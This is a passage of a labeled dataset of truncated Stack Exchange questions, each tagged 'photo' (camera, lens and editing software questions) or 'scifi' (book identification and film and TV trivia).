for some example pictures. The flower is sharp, and everything else looks like taken with a long shutter. Is ... ",['photo'] "Title: How much pay to a model in a session of photos for stock? Body: I want make a photo project to send to a stock photography agency, but I don't know what I should pay to a model for signing the model release. Pay by photo, by hour, or in some other way? ",['photo'] "Title: Why f/22 is the highest possible setting for the aperture diaphragm? Body: My first DSLR camera was Canon EOS 350D. Now I've got an upgrade to Nikon D90. Both were/are with the kit lens. Whenever I'm taking a picture with biggest zoom (55mm on Canon, 105mm on Nikon) the ... ",['photo'] "Title: Do I need special software to retrieve pictures from an older Canon Rebel? Body: A co-worker was having problems getting her pictures off her camera, so I plugged it (via the USB cable) into my machine expecting to be able to see what was on it. I saw an entry for the camera in ... ",['photo'] "Title: What does the number of elements and groups in a lens mean? Body: All lens specifications include a statement of how many elements the lens contains, and in how many groups, for example: Nikon AF-S VR Zoom-NIKKOR 70-300 mm 1:4,5-5,6G: 17 elements in 12 groups (two ... ",['photo'] "Title: What is the difference between a Nikon “Micro” lens and a “Macro” lens? Body: When it comes to macro photography and Nikon, what is the difference between a Micro and a Macro [Nikkor] lens? Is the answer as simple as to say that Nikon uses Micro in its nomenclature for its ... ",['photo'] "Title: Why is there a limit restriction to the 1080p film video recording time duration on DSLRs? Body: Theories: that the processing hardware gets hot, so the limit extends the life EU classification of camera as camcorder attracts duty FAT32 file size limit of memory cards is 2gb, but then you could ... ",['photo'] "Title: How to offset the positioning of the Preview Gridlines in GIMP? Body: When rotating an image with GIMP, there is an option to superimpose gridlines on the image. The number of lines is settable but the offset is not. I'd expect that when changing the center of rotation, ... ",['photo'] "Title: Who covers Canon products in a similar vein to Thom Hogan's Nikon coverage? Body: I'm looking to learn a bit about Canon's history, products and reviews and wondered if there were any reviewers that do work focused on Canon's (D)SLR products. The publications and web site of Thom ... ",['photo'] "Title: What filters would you recommend for a digital SLR beginner/medium [duplicate] Body: Possible Duplicate: What are the must-have filters for a new photographer? I am a beginner/medium experience digital SLR user, and would like to start using some filters with some of my ... ",['photo'] "Title: When shooting a scene with a LCD or Plasma TV in it, is there a way to avoid a blueish tint on the screen? Body: I've been searching but I can't find relevant info. I'm actually filming, but figured the problem's still there in photography. I also don't know where else to ask. Does anyone know what can be done? ... ",['photo'] "Title: When shooting HDR, is it better to use RAW images or jpgs? [duplicate] Body: Possible Duplicate: Should I convert RAW to jpeg before making an HDR? I just recently started shooting HDR images, and I like the effect when it's done right. I was just wondering, when I ... ",['photo'] "Title: Why does the maximum aperture change with focal length? [duplicate] Body: Possible Duplicate: Why do zoom lenses and compact cameras have varied maximum aperture across the zoom range? It is rather common with zooms that the maximum aperture changes (in fact, ... ",['photo'] "Title: How do I troubleshoot a Nikon D3000 'lens not attached' problem? Body: Recently my Nikon d3000 started the 'lens not attached' error. I have two lenses, neither of which work. I tried the lenses in another camera body, and they work fine. I have cleaned the contact ... ",['photo'] "Title: How can a sunset photo have pink and purple colors? Body: I was browsing, and found this gem, which has distinct hues of pink and purple. I am curious so as to how the photo has shades that it has. Was it edited later? Do such colors really occur while the ... ",['photo'] "Title: Is there a product which provides super-bright continuous light in a small package? Body: I met a friend of a friend last night who used to be a pro photographer. He had this gimmick that he said was kinda home-made by some shop owner in Singapore. I wish I took a pic of it, but I forgot. ... ",['photo'] "Title: Export filenames in Lightroom 3 Body: I export images from Lightroom to PhotoShelter using the Pact Software plugin. I would dearly like to sort my files in my PhotoShelter galleries in the following order: rating (descending) time ... ",['photo'] "Title: What do the AF-A, AF-C, and AF-S autofocus settings mean? Body: My camera has these settings for autofocus, and I don't know what they mean. I suspect ""A"" is ""Auto"", and ""C"" is ""continuous"", but I have no idea what ""S"" is. ",['photo'] "Title: What are the key things that distinguish stock photography from other types? Body: What are the key features of stock photography that distinguishes it from other types of photography, or is there a fair amount of overlap between them (i.e. a good photograph can be fine art and ... ",['photo'] "Title: Can you shoot with a 55mm lens so that you have both person and background clear? Body: Is it possible to shoot with a 55mm lens so that you have both the close objects and the background objects (like buildings situated half a mile away) clear? ",['photo'] "Title: What do the lens parameter abbreviations mean? [duplicate] Body: Possible Duplicate: What do all those cryptic number and letter codes in a lens name mean? Canon EF 50mm f/1.8 II What does EF, II mean? Sigma 10mm/F2.8 EX DC Fisheye HSM compatibil ... ",['photo'] "Title: Is Canon 550D the same model as Rebel T2i? Body: I keep hearing Rebel T2i. What does it mean? Isn't this just Canon 550D? I want to buy a Canon 550D but I get confused by Rebel 2Ti. ",['photo'] "Title: How can I use “Save For Web” in a Batch Action and save new files in their original files folder using Photoshop CS? [closed] Body: Let me explain the title a little further. What I have is a series of PDF files in a series of folders -- Parent Folder   -Child Folder      --PDF file ... ",['photo'] "Title: What LCD protector should I get for a Nikon D5100? Body: Just bought my wife the D5100 as a gift and I was looking for recommendations for a LCD screen protector. The articulating screen was part of the reason I got the camera, but it obviously limits the ... ",['photo'] "Title: Where does Lightroom keep the original raw file? Body: Yesterday I realized that for the last import I did with Lightroom I don't have the original RAW files from the camera's SD. In the memory card I have only the RAW file and when I import them in ... ",['photo'] "Title: Why don't we get hot pixels when using live view? Body: Why don't we get hot pixels while using live view mode, but do get then on a long exposure? I read somewhere that they appear due to the sensor being activated for too much time, but then, live view ... ",['photo'] "Title: How do the two styles of tripod mount strap connectors compare? Body: I've been researching those cross body straps and while there is quite a difference in price and quality of the strap, I find it hard to find reviews comparing the different positions of the connector ... ",['photo'] "Title: How can I preserve/protect existing framed prints from fading? Body: I have some prints that were printed and framed professionally, and now they are situated in a relatively bright room, and I am concerned that they will fade in the light. I have heard that there ... ",['photo'] "Title: Where can I find official resources for Canadian law on photography? Body: I know 99.9% of you are not lawyers, and I'm not really looking for advice as I have a reasonable idea of what the law allows up here. What I'm looking for was places I could go hunting to build a set ... ",['photo'] "Title: How to prevent weird spots and stripes on photos of window glass? Body: A few days ago I took photos of a nice curvy business center in another city. Later I discovered that many frames had weird artifacts on the glass, shown below as 100% crops. An almost normal shot: ... ",['photo'] "Title: How do color spaces like sRGB and Adobe RGB overlap? Body: Is sRGB included in Adobe RGB, and Adobe RGB included in ProPhoto RGB? Meaning that a photo in a ""lower space"" will look like exactly the same in a ""higher space"", e.g. a sRGB photo will look like ... ",['photo'] "Title: What should I look for in a second-hand DSLR with a nice long zoom lens? Body: I am considering buying a cheap second-hand DSLR with a nice long zoom lens (at least up to 200mm) for photographing nature in particular. I have a lovely Panasonic LX5 which takes great macro ... ",['photo'] "Title: Can photographs from a client shoot, but not accepted by them, be used for stock photography? Body: I have a number of photographs from a recent client shoot that they don't wish to use, could these be sold by myself as stock photography? For that matter, would it be considered to be ethical to do ... ",['photo'] "Title: Does high shutter speed make up for no tripod? Body: I take a lot of macro pictures, so using a tripod can be very inconvenient at times. And when I'm so close to an insect I find my hands shaking a lot even though I try to be as stable as possible. So ... ",['photo'] "Title: Is there any way to disable 'Library' feature in Lightroom 3? Body: Is there any way to disable 'Library' feature in Lightroom 3? I don't need it and i do not want to waste my free space on it. ",['photo'] "Title: As a Canon DSLR user hoping to move to full frame do I have any wide angle lens options other than the Sigma EF 12-24? Body: I'm a 550D user looking for a wide angle lens but eventually hoping to move to a full frame camera, in doing this I'm trying to avoid buying EF-S mount lenses due to the prohibitive cost of replacing ... ",['photo'] "Title: Are burn marks on a flash unit window normal? Body: My flash unit has been accumulating small burn marks on its window. Is this normal wear and tear or equipment damage? ",['photo'] "Title: Does autofocus work with the Pentax K10D and Tamron 18-250mm? Body: Hallo; does autofocus actually work with the Pentax K10D and Tamron 18-250mm? If so,how good/fast is it? ",['photo'] "Title: Can I make a panorama mount for occasional panorama shooting? Body: I sometimes (about 5 times per year) decide to shoot a panorama, just for me, with no intentions to sell or use the photo outside my family and close relatives. Currently I use my Pentax DAL 18-55 ... ",['photo'] "Title: Is there an open format to share image editing information? Body: I'm trying to find what would be the easiest way to share editing information across application while keeping the original image. My needs are pretty basic: I do keywording, toning and white ... ",['photo'] "Title: What do I need to take really great shots of wedding cakes, including on-site? Body: First let me say I appreciate all answers and your time ... I just upgraded from a point and shoot (Olympus Stylus 7.1mp) to the Canon Rebel T2i and WOW am I excited and wow I just jumped into a big ... ",['photo'] "Title: Should I use in-camera noise reduction, or is it better to leave that for desktop-based post-production? [duplicate] Body: Possible Duplicate: Is in-camera high-ISO noise reduction worthwhile? Should this be done using image processing software like Photoshop or the built in function of the camera ? It seems a ... ",['photo'] "Title: Which would be more suitable lens in terms of utility, weight, price: 18-135 or 18-55 + 55-200? Body: Is it better to invest in one 18-135mm lens or have a standard 18-55mm lens and another 55-250mm lens for occasional need? ",['photo'] "Title: Why is AF slow in Live View on DSLRs? Body: Why is AF so slow in Live View on SLRs ? On compacts, the AF works very smoothly and quickly. ",['photo'] "Title: How do I know if a lens is genuine? Body: I'm in Times Square shooting the Imagine Cup event, and several people said that to fix my shot, I would need a faster lens. Just for the hell of it, I went across the street to a photo shop to see if ... ",['photo'] "Title: Camera for B&W? Body: Is there a camera out there (dSLR-class) that offer's a one-touch (or nearly) ability to view a shot in black and white? Also, what about LiveView functionality with realtime black and white? ",['photo'] "Title: How can I make ExifTool rename by camera model when the name contains a slash? Body: I use ExifTool to batch rename all of my pictures using the following two commands: ""-FileName<${Exif:Model}-(%%f).%%e"" -d %%Y%%m%%d-%%H%%M%%S-%%%%f.%%%%e ""-FileName<DateTimeOriginal"" This ... ",['photo'] "Title: Why doesn't narrowing the aperture have the same effect as lowering the flash power? Body: I have a small doubt here. I'm no strobist and just got my first flash (Canon 430ex II Speedlight). While I was playing around, I found that narrowing down the aperture DOES NOT have the same effect ... ",['photo'] "Title: How do Canon EF 100mm f/2.8 and EF-S 60mm f/2.8 macro lenses compare? Body: I've read over a few of the macro posts on this site, and I'm very new to digital photography, so I have a few questions, and some may be overlapping. I have a Canon EOS Rebel T3, and I want to buy a ... ",['photo'] "Title: What are the technical differences between using a DSLR viewfinder and live view? Body: The earlier question What are the advantages of using the optical viewfinder over live preview to take photos on a DSLR? asks for practical advantages of optical viewfinders. But what's the technical ... ",['photo'] "Title: This doesn't seem very sharp…is this normal? Body: Body: T2i Lens: Kit, 18-55mm f3.5-5.6 I went to shoot a sunrise this morning at the beach and got some great pictures, but when I uploaded them to some light post-processing, I was slightly surprised ... ",['photo'] "Title: How can I force Lightroom to render previews for my collection? Body: When you import, you have the option (I just discovered 5 minutes ago) to have Lightroom render 1:1 previews. That makes it much easier to just quickly flip through a bunch of images, because it ... ",['photo'] "Title: Is the aperture wider at 200mm f/5.6 than at 18mm f/3.5? Body: Speaking of the physical aperture. When looking at the 18-200 mm, f/3.5-5.6, I wonder how this works. With diameter D = f/N I get: 18 mm / 3.5 = 5 mm 200 mm / 5.6 = 35 mm So, does the aperture ... ",['photo'] "Title: Is it safe to bring my camera with me when cycling? Body: I use to do a lot of cycling on a relatively difficult trails, especially in mountains. I was wondering how safe is it to bring my Canon 60D with me (in the backpack on my back). Can I damage it with ... ",['photo'] "Title: What's a good starter book on photographer Yousuf Karsh? Body: I have recently been very moved by what I have seen/read on the internet about the work of Yousuf Karsh. I would really like to get more insight into how he captured the true character of his ... ",['photo'] "Title: Is exposing my DSLR to a very intense source of direct light bad? [duplicate] Body: Possible Duplicates: Can the sun damage the camera sensor? Under what conditions? Can a laser pointer damage the sensor in a digital camera? I'm wondering (mainly out of curiosity) if it ... ",['photo'] "Title: Best all-around ~$600 standard zoom lens for Canon? Body: I have a Rebel T2i, I was wondering what standard zoom lens is the best around $600. I'm mainly shooting landscapes / cities / peoples. I've done some research and came up with 17-50, 18-55 from ... ",['photo'] "Title: Are there cheap or DIY focus assist solutions for the Canon 5D? Body: I want a better autofocus system for low light. Low light auto focus is my biggest bane. I use a 5D so the options are AF on a flash like the 430 or 580. I happen to use the Pocket Wizard TT1 so I ... ",['photo'] "Title: Are there unique camera bags designed for micro four-thirds? Body: There are a lot of discussions about bags for DSLR — but since micro four thirds is all about size, there have to be some unique bags designed especially to take advantage of the reduced size. Using a ... ",['photo'] "Title: How can I get sharp macro photos like this example? Body: How can I get a sharp photo like this photo: http://www.flickr.com/photos/opoterser/4189239614/in/photostream For macro photography, I use a Nikon 105mm VR II with D300s. Can I get something like ... ",['photo'] "Title: Is there a way in Photoshop to apply a mask to a single Smart Filter? Body: I like using Smart Filters because they let me adjust things later, and because I get a mask to control where the filters are applied. The problem is that this mask applies to all the smart filters ... ",['photo'] "Title: Are there reasons beyond weight and price to choose the Olympus 40-150mm over the 14-150mm? Body: I'm curious whether there is any advantage in buying the 40-150 vs. the 14-150 lens. Both are f/4.0-5.6 and quality seems to be the same. Is there any reason except weight and price for which one ... ",['photo'] "Title: Why are MMF-1 / MMF-2 adapters so expensive? Body: Why is it that MMF-1 / MMF-2 adapters (the ones that convert from 4/3 to Micro 4/3) are that expensive?! They seem to be at least $140 on eBay, $250 on Amazon! Is this a way for Olympus to force you ... ",['photo'] "Title: What's it called when two photographs are printed on triangles so you see a different one from different angles? Body: This is kinda hard to explain, but I've seen it several places before. I'm looking for a special way that two photographs are printed — they're printed so you from each angle can see just one of the ... ",['photo'] "Title: Is it possible to improve focus with the Samsung Galaxy S? Body: Samsung Galaxy S video and photo quality is pretty good but only when fully focused. The focus is getting lost very easly and it become blurred. Are there any ways to increase focus quality and speed? ... ",['photo'] "Title: Is there a way to make auto-focus more smooth while filming with Sony A55? Body: Wondering if anyone can help with this. I have a Sony SLT-A55, and when in video recording mode it is able to auto focus. My issue is that it does this ""too quickly"". For example, if I'm shooting ... ",['photo'] "Title: Should pro photographers learn to work around amateurs at events? Body: This issue is most prevalent in Wedding photography. An example would be when a Wedding photographer has to avoid family members or other guests who are aggressively taking pictures around them ... ",['photo'] "Title: How do I get a stuck screw filter off of my lens? Body: There is a UV-filter screwed on my Canon 16-35mm. For some reason, I'm not able to get it off the lens. Does anyone has a simple but safe trick? ",['photo'] "Title: Why changing image format changes the area shown on the LCD screen? Body: Recording pixels option when set to Large 14M 4320x3240, in Canon PowerShot SX 210 IS, puts black bars on the vertical sides of the screen. The shot is NOT thus fully seen in its LCD screen. Why is ... ",['photo'] "Title: What are typical situations where you should use auto-exposure lock (AE-L)? Body: What are the typical situations where you should use AE for locking exposure? ",['photo'] "Title: Best Focus Settings and Methods for DSLR Video? Body: Camera Body: Canon T2i Lens: Canon EF-S 18-55mm f/3.5-5.6 IS SD Card: Transcend 16GB, Class 10 Stabilization: Handheld/tripod (maybe) Question: I'm going on vacation this weekend and would like to ... ",['photo'] "Title: Can I configure the D7000 to perform lens distortion corrections on the embedded JPEG in the RAWs it saves? Body: Lightroom eats the distortion present in the D7000's kit lens for lunch. However, it's time consuming to check which photos I like by performing this correction on all the photos in lightroom first. ... ",['photo'] "Title: Are there risks in using an adapter ring? Body: I have found a couple of old Zenit lenses in a drawer. I have found online, for a very cheap amount (about 10 eur) an adapter ring (from M42 to EOS mount). The lenses have not been particularly well ... ",['photo'] "Title: How do I use the Chromatic Aberration correction tools in Lightroom? Body: When I upgraded from a 1000D to a 550D, my 18-55mm started to show more significant Chromatic Aberration. This is probably due to the 8mpx difference between the two cameras. Due to this, I've ... ",['photo'] "Title: In what way does shutter speed affect a photo? Body: Is there a rule like ""the lower the speed the better quality?"" I tried taking at different speeds but couldn't understand the difference. ",['photo'] "Title: Is there a remote shutter release for the Panasonic DMC-FZ40? Body: A friend has the DMC-FZ40. Discussing Lightpainting, he was interested in buying a wireless control. Looking around for one we found out none exists, and after researching Itai's neocamera and ... ",['photo'] "Title: How do I work with multiple timezones and GPS logging? Body: I'm embarking on a trip across Europe in a few weeks. I have a QStarz GPS logger that I intend to use to log the trip and I will use the tools built into Aperture to geotag my photos when I return. ... ",['photo'] "Title: Why is the D7000 commander mode flash firing during exposure when the manual says it won't? Body: I'm wondering if I'm using the D7000's Commander mode incorrectly. Page 225 of the Nikon D7000 manual says The built-in flash does not fire [in ""--"" Option], although remote flash units do. Yet ... ",['photo'] "Title: How to create the equivalent of an Adjustment Layer in an editor that does not support it? Body: As a user of GIMP I tried to understand what Photoshop's Adjustment Layers are, without actually using PS. My understanding is that GIMP does not yet support AL (is this correct?). So, trying to ... ",['photo'] "Title: What are the basic workings of the Lytro light-field camera? Body: lytro.com describes their new light field camera as being able to capture the entire light field, rather than just one plane of light, thereby allowing for a whole new set of post-processing ... ",['photo'] "Title: Are Gimp's “color space” blend modes the same as those in Photoshop? Body: The Wikipedia article on Blend Modes describes three of them in particular like this: Photoshop’s hue, saturation, color, and luminosity blend modes are based on a color space with dimensions that ... ",['photo'] "Title: Title of book with plot about double pregnancies in women Body: I am trying desperately to remember the title of this book. I read it sometime between 1995 and 2004. The protagonist is a female doctor. She starts researching women who get pregnant, miscarry, ... ",['scifi'] "Title: In The Thing, are victims duplicated? Body: When people are assimilated, do they know they are Things, or are they completely duplicated? ",['scifi'] "Title: Book where children trained in magic, fashioned aerial vehicles Body: Pretty sure I read this when I was a kid. Perhaps 7 years ago. Newish then. This kid is struggling to carve his magic ""flying insect"" vehicle. He suddenly finds inspiration and models it on a ... ",['scifi'] "Title: Did Dr. Doom eventually find out that Thanos was watching over him? Body: My friend and I were having a debate on Dr. Doom vs Thanos. He told me that Thanos has Dr. Doom under constant watch because he considers him a threat. I have seen the scans. My question is did Dr. ... ",['scifi'] "Title: Master Chief John-117 real face? Body: In the Short TV series, Halo: Forward Unto Dawn, the end of last episode shows faces of two cybernetically enhanced soldiers but Master Chief John-117 is shown with his helmet. In the Halo Universe ... ",['scifi'] "Title: In the Dark Knight, why did Batman choose to save Harvey Dent, rather than Rachel Dawes? Body: In Nolan's The Dark Knight, when the Joker kidnapped Harvey Dent and Rachel Dawes and trapped them in a weird oil drum showroom: Why did Batman tell Gordon that he was going to save Rachel and they ... ",['scifi'] "Title: Help me remember this 70s or 80s Sci-Fi movie or TV show (vague, I know) Body: I have these vague memories of this show when I was a kid. I'm not sure whether it was TV or movie. Here are the things I think I remember about it: Happened in space. I remember scenes of large ... ",['scifi'] "Title: Did the Brightblade sword possess any magical properties? Body: Sturm Brightblade's sword held the legend: legend says this sword will break only if I do. Was that just the wishful thinking of a proud family, or did the sword possess magical (or clerical) ... ",['scifi'] "Title: Late 80s/early 90s DC Comics arc with Greek (and Roman?) gods involved? Body: In the late 80s or early 90s, DC put out another one of those story arcs where basically everyone in their universe was involved (a DC staple, methinks), and in this particular arc the ancient, ... ",['scifi'] "Title: How did Wormtail come to be with the Weasleys? Body: Sirius in PoA mentions that Wormtail intentionally sought after a wizarding family to take him in so that he could keep an ear to the ground regarding any news of his old master Voldy. We know that ... ",['scifi'] "Title: How did Smaug know about the treasure within Erebor? Body: It is presumed that Smaug hears about the treasure within the Lonely Mountain and decides he will take it, but as the dwarves had been mining there for a long time there must've been a significant ... ",['scifi'] "Title: Why didn't Death appear again? Body: I have one question: when the three brothers cheat Death, Death gets his revenge on them. Why doesn't Death appear again in that story anywhere? It doesn't appear when Harry uses the Deathly Hallows ... ",['scifi'] "Title: Novel Identification (circa 1970s) archeologists find a star map Body: Looking for the name of a book I read in childhood. It was about a team of archeologists who find a star map and search the galaxy for some ancient civilization. ",['scifi'] "Title: Who should star in the Dark Tower movies? [closed] Body: Rumors say either Javier Bardem or Russell Crowe will star as Roland. Who would be your choice? And how about the other characters, Eddie, Susannah, Jake, Cutbert, Susan Delgado... ",['scifi'] "Title: Are humans an ancient Kryptonian colony? Body: The Man of Steel movie reveals an 18,000 year old Kryptonian ship that was trapped in a glacier. One of the pods is open and the occupant is missing. Is this a plot device to explain why humans look ... ",['scifi'] "Title: How did humans get to the planet? Body: In Episode 15 of Season 2 of Deep Space Nine, ""Paradise"", how is it that humans got to the other side of the wormhole? The colonists say they were there for 10 years, and Yet, they are in the Gamma ... ",['scifi'] "Title: Does replicated food taste identical each time? [duplicate] Body: If you ask the replicator for strawberries, it will produce a plate of strawberries. Does each strawberry taste identical, or is there variation between strawberries? Q once ordered ten chocolate ... ",['scifi'] "Title: Are Schwarzenegger libraries fact or fiction? [closed] Body: Are there any real Schwarzenegger libraries today? In the movie ""Demolition Man"" there was an actual Schwarzenegger library after ""President Schwarzenegger"". So is it fact or pure fiction? ",['scifi'] "Title: Does the TOS episode “Tomorrow is Yesterday” feature a primitive replicator? Body: The Enterprise gets sent back in time to the 1960's, and a couple of time-local people end up on the ship. At one point, a crewman offers one of the passengers food while they are both in the ... ",['scifi'] "Title: What was the vampire movie where the protagonist gets cow's blood? Body: The guy got a big wound in his stomach and his friend tells him ""shit shit"" comes from your stomach, but after that they repaired it and made the guy drink cow's blood and he returned to normal. I ... ",['scifi'] "Title: R2D2 coin slots Body: Why does R2D2 have coin slots and a coin return? ",['scifi'] "Title: If the Namekians can “create” an extremely powerful dragon, why couldn't they help stop Buu? Body: The Namekians created the dragonballs and their associated dragons. These dragons are imbued with extreme power, so much so that the Supreme Kais were astounded when they first saw them (Buu saga). ... ",['scifi'] "Title: Comic book cataloging and pricing software? Does it exist? [closed] Body: I'm looking to catalog and price my comic collection. In this day and age, there's got to be a high tech solution to this. I'm imagining some kind of database that uses my iPhone's (or computer's) ... ",['scifi'] "Title: TV Episode From 80's or 90's Body: I have the following on DVD (in various formats) so I know that it isn't an episode from these shows: Twilight Zone (80's) Outer Limits (90's) Monsters (80's) Tales From the Darkside (80's) Tales ... ",['scifi'] "Title: Has there ever been an actor who has portrayed the Doctor, but was previously featured in the series as another character? Body: Now that Peter Capaldi has been named the new Doctor, it's going to be interesting to see if they'll address the fact he has already played Caecilius in The Fires of Pompeii, and John Frobisher in ... ",['scifi'] "Title: In Pacific Rim, why aren't Jaegers pilots crushed by extreme accelerations? Body: How come crews from Red Baron and Pacific Rim are not injured by intense acceleration of humanoid warmachine while piloting from inside? They fall from great distances and continue walking without a ... ",['scifi'] "Title: How could Theon Greyjoy capture Winterfell with 20 men? Body: I know most of the men were away fighting with Robb, but how could Winterfell be taken with 20 men? Winterfell is a city, right? There should be some population there that could fight back. ",['scifi'] "Title: What did Bronn do to the thieves? Body: Lord Varys enters and greets them both. Varys unctuously compliments Bronn on the Gold Cloaks performance, explaining to Tyrion that they have reduced the rate of theft in the city. Tyrion ... ",['scifi'] "Title: How did Flash take care of the bomb? Body: In the DC Animated Original Movie Justice League: The Flashpoint Paradox, The Flash needs to dispose of a bomb early in the film. He accomplishes this by vibrating his hand, and then hurling ... ",['scifi'] "Title: Were the Sith originally Called “The Damned?” Body: I saw this image recently on a social media site: Once I saw it, I started searching. I found several places that made the same claim, almost word-for-word the same, but I never found a site with ... ",['scifi'] "Title: Time traveller meets Shakespeare? Body: This was a short story in which a time traveller -- might have been an English Lit professor -- travels back to Elizabethan England to determine once and for all who wrote the plays and sonnets of ... ",['scifi'] "Title: Name of R. Silverberg SF Short Story Body: I'm looking for the name of a Silverberg short story that had a woman (U.S. President, I think) making a speech upon return from a disastrous space mission. Her husband kept interrupting her. ",['scifi'] "Title: Are “A Princess of Mars (1912)” & “At the Earth's Core (1914)” the same story? Body: Both ""A Princess of Mars (1912)"" and ""At the Earth's Core (1914)"" are written by Edgar Rice Burroughs. Different setting, same style, same story, with a couple of tweaks. Man goes on a journey to ... ",['scifi'] "Title: When does an Hokage suceed the previous Body: In Naruto the main story plot is that But how did the 4th became hokage in the first place? Is not because of death of the previous one obviously, but I canøt find any reference to that. ",['scifi'] "Title: What happens if the seeker can't catch the snitch? How does the game end? Body: In Quidditch the game only ends when the Snitch is caught, but what happens if the Seeker can't catch it? The house in the lead would win, wouldn't they? Where do the teachers draw the line to the end ... ",['scifi'] "Title: Is there a substance like phraxdust in the real world or other fantasy writings? Body: Most stories will have similar weapons, aliens, space travel etc, but in The Edge Chronicles there is a substance called phraxdust that can purify water when mixed with contaminated liquids. I have ... ",['scifi'] "Title: Who rescues Davidge in 'Enemy Mine'? Body: In the Dennis Quaid adaptation of Enemy Mine, who rescues Davidge from Fyrine IV? Are the rescuers aware of the scavenger ship? Why do three other pilots (I don't recall if they were the same ones in ... ",['scifi'] "Title: In Equilibrium, are the emotional displays a plot hole or something else? Body: Throughout the film, Brandt is seen smiling and displaying other emotions especially when he arrests Preston for being a Sense Offender. DuPont also offends but his offences are much more subtle. Is ... ",['scifi'] "Title: What spell do wizards use to bind elves? Body: In the Harry Potter books there are several house elves. (I'm looking for a canon answer) How do wizards bind them so powerfully? What spell do they use to accomplish this? And does anyone know if ... ",['scifi'] "Title: Did Robert A. Heinlein “Invent” the elastic inertiometer? Body: In the ""Cat Who Walks Through Walls"" (1985) by Robert A. Heinlein A ""new"" novel approach to measuring mass in zero G used. For a mass reading Budget Jets does not use a centrifuge but the ... ",['scifi'] "Title: Book Identification: Dragons as war machines Body: Read the book once in the late 90's The only things I can remember are: Dragons were some sort of war machine (built and maintained, rather then real, living creatures) A bunch of somewhat magical ... ",['scifi'] "Title: Why didn't the 11th Doctor recognize River Song? Body: I am new to this Doctor Who world so bear with me here, please. If the tenth Doctor had already met River Song, why didn't the eleventh Doctor recognize her when he first met her? ",['scifi'] "Title: The Empire novels of Isaac Asimov Body: Which is the first Empire novel of I Asimov, ""The stars like dust"" or ""the currents of space""? ",['scifi'] "Title: Who is The Sigilite? Body: I mean he is often described as second in psychic power to the Emperor. Is The Sigilite a psychic double of the Emperor, his Brother or something else entirely? WHO is he? there is nothing about his ... ",['scifi'] "Title: Why does Gandalf say he is Saruman when he comes back as 'Gandalf The White'? Body: I've tried looking up why Gandalf claims to be Saruman but I keep finding things saying 'Gandalf is trying to show that he is was Saruman should be - how he shouldn't be corrupt' is this correct? ",['scifi'] "Title: Do the Sliders ever visit the same world twice? Body: We see the Sliders briefly return to their home world in Exodus I/II. Is this the only example of the Sliders visiting the same world twice? ",['scifi'] "Title: Fantasy book with people living in a wall, beating up their pets? Body: Over twenty years ago I read a book that I've been searching for ever since. I only remember a few things from it. It had a seashell on the cover. It started if I remember correctly with a boy who ... ",['scifi'] "Title: Identify comic book about 1940's resistance fighters battling an alien invasion Body: Anyone know name of comic book from the 1940's about resistance fighter after devastating alien invasion. The fighters used a vehicle that was a large wheel. The driver would ride in the center and ... ",['scifi'] "Title: Book series with an astronomer exploring a golden egg shaped spaceship in Earth orbit Body: So when I was younger I got a series of books involving an astronomer with Kung fu abilities who discovers a rogue object orbiting Jupiter. Next, he and his team figure out that it has left Jupiter's ... ",['scifi'] "Title: Is there anything that is counter-to-canon in ‘Oz The Great and Powerful’? Body: Having just watched Oz The Great and Powerful, and having read all of Baum's works and many of the related Oz works by other authors, I was struck by the number of subtle and not-so-subtle minor nods ... ",['scifi'] "Title: Are the rules to BSG's sport Pyramid ever explained? Body: In Battlestar Galactica season two episode four Resistance, Starbuck and Samuel Anders play a pickup game of Pyramid. The two seem to be following some set of rules, but nothing is clearly outlined I ... ",['scifi'] "Title: What happened to Neo in the last part of the Matrix trilogy? [duplicate] Body: What happened to Neo in the last part of trilogy when the machine gave him the power to battle with Agent Smith. Was he dead? ",['scifi'] "Title: Why wasn't there more timeline divergence in “Yesterday's Enterprise” than what we observed? Body: Really, the only difference in the two timelines was Tasha Yar vs Worf in terms of the command structure of NCC-1701-D. Why would there not have been additional timeline changes in terms of command ... ",['scifi'] "Title: Can werewolves turn outside of the Full Moon in Harry Potter? Body: I’m in a Harry Potter Marauder’s-Era role-play and I’m playing Fenrir Greyback. (I’ve also not read the books/seen all the movies). I'm very loosely interpreting a specific point in canon that I’m ... ",['scifi'] "Title: Where was Verad Dax? Body: In the episode ""Facets"", Jadzia is able to communicate with all the previous Dax hosts. Verad is not represented among these. Is any reason given for this? ",['scifi'] "Title: Abandoned colony of military engineer corps Body: I read this short sci-fi story some time ago: The story is about an abandoned colony of military engineer corps that crash landed on a planet. They still know all about repairing equipment (they ... ",['scifi'] "Title: Book (or trilogy) set in 1950s UK where the protagonist has a sandwich shop Body: The things I can remember are: British author and set, mainly in the UK The main character (an ordinary bloke) is gifted a sandwich shop that I think is called ""Sam Widges"". The plot has ... ",['scifi'] "Title: Starfleet Salary [duplicate] Body: I know the Federation did away with currency, and for the most part a Starfleet Officer would never need currency because what would they do with it on a Starship? Shore leave would most often occur ... ",['scifi'] "Title: Why is the wide beam phaser setting not used very often? Body: In the episodes TOS: The Return of Archons, and in VOY: Cathexis officers use a wide beam setting on their phasers. In the TOS episode Kirk uses this feature, and in the VOY episode Tuvok uses it. I ... ",['scifi'] "Title: ID: Short Story with a coffee machine powering FTL Body: I can't recall the name of a short story I read, and Google is drawing a blank for me. I can only remember one detail that stuck in my mind: There was a coffee machine that powered Faster Than ... ",['scifi'] "Title: Could radar penetrate the Stargate aperture? Body: Radio waves in the Stargate franchise are capable of going both ways. I started thinking about this a bit, and wondered: Could you send radar signals through the gate to determine what's on the ... ",['scifi'] "Title: Short story about a cat funeral, and a man who believes he's become the king of cats Body: I remember reading this as a child, probably around the mid-to-late 80's. I believe it was in an anthology, probably one used as a school English class textbook. The details that I remember: There ... ",['scifi'] "Title: Why didn't Sirius Black run? Body: I have reread Prisoner of Azkaban several times now and I can still not understand why Sirius would not make an effort to hide or escape or even go looking for Wormtail if he was innocent? is there ... ",['scifi'] "Title: Is there a reason given as to why Vampire's reflections cannot be seen? Body: It's a common thread throughout the Vampire genre. According to Brahm Stoker, Ann Rice, and everybody inbetween, you cannot see a Vampire's reflection. Is there a reason given as to why Vampire's ... ",['scifi'] "Title: Why aren't Federation ships built with two warp cores? Body: Earthlings in the 20th century learned the value of putting multiple engines on aircraft: that way, if one fails, you can keep flying. But in the Star Trek universe, Federation ships like the ... ",['scifi'] "Title: Which movie is about human-eating gremlins? Body: I'm looking for a movie about small creatures, possibly gremlins of some sort. I can only remember the last scene before the credits when the protagonist (a boy) thought he was safe and everything ... ",['scifi'] "Title: During any of Marcus's reign, why did he not attempt a coup d'état? Body: Vampires (elders only?) can bite another vampire and get all their memories via drinking their blood. So why didn't Marcus just bite Viktor while 